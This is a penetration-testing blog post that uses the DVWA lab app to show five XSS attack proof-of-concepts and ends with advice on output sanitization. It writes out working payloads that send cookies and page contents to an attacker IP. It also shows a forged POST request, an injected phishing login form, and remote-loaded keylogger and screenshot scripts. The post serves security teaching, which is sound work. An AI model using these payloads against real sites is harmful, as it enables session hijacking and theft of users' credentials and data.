Pentest-Tools Blog

Articles, news, tips and tricks from pentesting and infosec

5 Practical Scenarios for XSS Attacks

Oct 4, 2018 • Satyam Singh

Let’s explore a couple of practical attack scenarios that can be implemented as PoCs to prove the real risk of Cross-Site Scripting (XSS) vulnerabilities.

As a penetration tester, you want your customers to understand the risk of the vulnerabilities that you find. And the best way to do this is by creating a high-impact proof-of-concept (PoC) in which you show how attackers can exploit the vulnerabilities and affect the business.

In this article we will see how to create XSS attack PoCs in order to:

  1. Hijack a user’s session
  2. Perform unauthorized activities
  3. Perform phishing attacks
  4. Capture key strokes
  5. Steal sensitive information

Background

Cross-Site Scripting (XSS) is a vulnerability in web applications and also the name of a client side attack in which the attacker injects and runs a malicious script into a legitimate web page. Browsers are capable of displaying HTML and executing JavaScript. If the application does not escape special characters in the input/output and reflects user input as-is back to the browser, an adversary may be able to launch a Cross-Site Scripting (XSS) attack successfully.

You can find more information about this vulnerability in OWASP’s Cross-Site Scripting page.

For demo purposes, we will use the well-known DVWA application, which we have installed locally.

The DVWA page http://localhost:81/DVWA/vulnerabilities/xss_r/ is affected by a reflected XSS in the name parameter. This can be seen in the figure below when we inject the JavaScript code <script>alert(123)</script> and it is reflected and executed in the response page.

Alert response in browser

XSS Attack 1: Hijacking the user session

Most web applications maintain user sessions in order to identify the user across multiple HTTP requests. Sessions are identified by session cookies.

For example, after a successful login to an application, the server will send you a session cookie by the Set-Cookie header. Now, if you want to access any page in the application or submit a form, the cookie (which is now stored in the browser) will also be included in all the requests sent to the server. This way, the server will know who you are.

Thus, session cookies are sensitive information which, if compromised, may allow an attacker to impersonate the legitimate user and gain access to his existing web session. This attack is called session hijacking.

JavaScript code running in the browser can access the session cookies (when they lack the flag HTTPOnly) by calling document.cookie. So, if we inject the following payload into our name parameter, the vulnerable page will show the current cookie value in an alert box:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

User cookie in alert box

Now, in order to steal the cookies, we have to provide a payload which will send the cookie value to the attacker-controlled website.

The following payload creates a new Image object in the DOM of the current page and sets the src attribute to the attacker’s website. As a result, the browser will make a HTTP request to this external website (192.168.149.128) and the URL will contain the session cookie.

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

So here is the attack URL which will send the cookies to our server: http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

When the browser receives this request, it executes the JavaScript payload, which makes a new request to 192.168.149.128, along with the cookie value in the URL, as shown below.

Send cookie request

If we listen for an incoming connection on the attacker-controlled server (192.168.149.128), we can see an incoming request with cookie values (security and PHPSESSID) appended in the URL. The same information can be found in the access.log file on the server.

Receive cookie on server

With the above cookie information, if we access any internal page of the application and append the cookie value in the request, we can access the page on behalf of the victim, in its own session (without knowing the username and password). Basically, we have hijacked the user’s session.

Hijacked session Response cookie Response page html Response page browser

The HTTPOnly cookie attribute can help to mitigate this scenario by preventing access to the cookie value through JavaScript. It can be set when initializing the cookie value (via Set-Cookie header).

XSS Attack 2: Perform unauthorized activities

If the HTTPOnly cookie attribute is set, we cannot steal the cookies through JavaScript. However, using the XSS attack, we can still perform unauthorized actions inside the application on behalf of the user.

For instance, in this attack scenario we will post a new message in the Guestbook on behalf of the victim user, without his consent. For this, we need to forge a HTTP POST request to the Guestbook page with the appropriate parameters with JavaScript.

The following payload will do this by creating an XMLHTTPRequest object and setting the necessary header and data:

<script>
	var xhr = new XMLHttpRequest();
	xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true);
	xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
	xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook');
</script>

This is how the request looks like in the browser and also intercepted in Burp.

Ajax in URL Ajax intercepted by Burp

The script on execution will generate a new request to add a comment on behalf of the user.

Ajax comment request Ajax comment successful

XSS Attack 3: Phishing to steal user credentials

XSS can also be used to inject a form into the vulnerable page and use this form to collect user credentials. This type of attack is called phishing.

The payload below will inject a form with the message Please login to proceed, along with username and password input fields.

When accessing the link below, the victim may enter its credentials in the injected form. Note that we can modify the payload to make it look like a legitimate form as per our need.

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

Malicious login form

Once the user enters their credentials and clicks on the Logon button, the request is sent to the attacker-controlled server. The request can be seen in the screenshots below:

Request in Burp

The credentials entered by the user (pentest:pentest) can be seen on the receiving server.

Credentials on server

XSS Attack 4: Capture the key strokes by injecting a keylogger

In this attack scenario we will inject a JavaScript keylogger into the vulnerable web page and we will capture all the key strokes of the user within the current page.

First of all, we will create a separate JavaScript file and we will host it on the attacker controlled server. We need this file because the payload is too big to be inserted in the URL and we avoid encoding and escaping errors. The JavaScript file contains the following code:

Keylogger code

On every key press, a new XMLHttp request is generated and sent towards the keylog.php page hosted at the attacker controlled server. The code in keylog.php writes the value of the pressed keys into a file called data.txt.

Keylogger open file

Now we need to call the vulnerable page with the payload from our server:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">

Once the script is loaded on the page, a new request is fired with every stroke of any key.

Receive keystroke

The value of parameter key is being written to the data.txt file, as shown in the screenshot below.

Data.txt file with word received

XSS Attack 5: Stealing sensitive information

Another malicious activity that can be performed with an XSS attack is stealing sensitive information from the user’s current session. Imagine that an internet banking application is vulnerable to XSS, the attacker could read the current balance, transaction information, personal data, etc.

For this scenario we need to create a JavaScript file on the attacker controlled server. The file contains logic that takes a screenshot of the page where the script is running:

Sensitive data screenshot code

Then we need to create a PHP file on the attacker’s server, which saves the content of the png parameter into the test.png file.

Sensitive data png parameter

Now we inject the JavaScript code into the vulnerable page by tricking the user to access the following URL:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/screenshot.js">

Once the JavaScript file is loaded, the script sends the data in base64 format to the saveshot.php file which writes the data into the test.png file. On opening the test.png file, we can see the screen capture of the vulnerable page.

Vulnerable screenshot

Another way

Another way to steal the page content would be to get the HTML source code by using getElementById. Here is a payload that gets the innerHTML of the guestbook_comments element and sends it to the attacker.

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>

Sensitive data received comment

We can also fetch the entire page source of the page by using the following payload:

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>

Sensitive data entire source Sensitive data entire source received in netcat

Decoding the received data in Burp Decoder gives us the cleartext page source of the vulnerable page. Here, we can see the Guestbook comments.

Cleartext source

Conclusion

Depending on the functionality and data processed by the vulnerable application, XSS vulnerabilities can pose a significant risk to the business. Attackers could steal confidential information, perform unauthorized activities and take over the entire web sessions of the victim users.

The best protection against this type of attack is output sanitization, meaning that any data received from the client-side should be sanitized before being returned in the response page. The sanitization is done by transforming the special HTML characters into their HTML entity equivalents, such as:

< ---> &lt;
> ---> &gt;
" ---> &quot;
' ---> &apos;

It is recommended to use the builtin functions of every programming language that are designed to do sanitization. For instance, in PHP you should use htmlentities.

More information about defending against XSS can be found in OWASP’s XSS Prevention Cheat Sheet.